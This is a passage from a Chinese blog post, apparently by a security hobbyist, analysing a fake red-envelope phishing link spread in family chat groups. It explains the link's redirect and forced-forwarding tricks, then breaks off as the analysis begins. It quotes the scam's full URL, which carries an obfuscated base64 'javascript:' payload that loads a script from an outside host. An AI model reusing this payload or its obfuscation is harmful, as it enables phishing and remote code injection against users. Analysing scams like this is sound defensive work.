一次黑产链接分析引发的渗透测试

起源

五一在家日常冲浪，无意间看到有人在相亲相爱一家人群里发了一个链接引起了我的注意

点进去一看，是领红包。这不白嫖一波？狗头

他这个这页面做的挺像真的，而且进入到这页面后是无法通过下滑页面来查看对应域名的，

这团伙业务还挺熟练的，年轻人不讲武德。

那么老夫就点击领取看看会怎么样

红包！没错，终于抢到红包了。这页面看着也很真啊。

但是这弟弟提示老夫需要转发到群聊。就这？

钱来的那么容易吗？

看着这里肯定会有人观众要问，这假红包到底有什么用？这就是我转发到群里有什么用？就这？会对我有什么影响吗？

小伙子别慌，听我慢慢道来。

一旦我们进入到这页面后，，如果不直接点击左上角x关闭，每次点返回都会无限跳转到一些低俗文章和一些公众号文章（如下图），从而达到推广目的。而转发这种链接的群体又属于易骗体质，很容易就关注了这类公众号或者就是扫描对应的二维码，最后结果不言而喻。

而且这种链接的封面也利用人的好奇心提升了点击率，一看就是专业钓鱼的年轻人，社工很熟练啊。

分析

接下来才是进入了本文的正题，在写本文之前，小弟只是简单的分析了一下，后面在复盘写文章的时候发现链接已经挂了。

由于是复盘，没写的很细，就是一点思路的分享吧。日常渗透。

我们把对应url提取出来（某些黑产会对url进行多次短连接转换），用浏览器访问，然后就跳到了百度。应该是做了ua识别

http://899.m.yxixy.com/rest/lapi/setcoo?url=%20JAVASCRIPT:a%3D%5Cu0061%5Cu0074%5Cu006f%5Cu0062%60ZD1kb2N1bWVudDt3aW5kb3cuc3RvcD93aW5kb3cuc3RvcCgpOmRvY3VtZW50LmV4ZWNDb21tYW5kKCdTdG9wJyk7ZC50aXRsZT0nJztkLmRvY3VtZW50RWxlbWVudC5oaWRkZW49JzEnO2QuZG9jdW1lbnRFbGVtZW50LmlubmVySFRNTD1udWxsO2ltcG9ydCgnLy9saWluay5jbi94eCcpOw==%60%3B%5Cu0065%5Cu0076%5Cu0061%5Cu006c%28a%29

接下来我们直接开始分析url吧

先进行url解码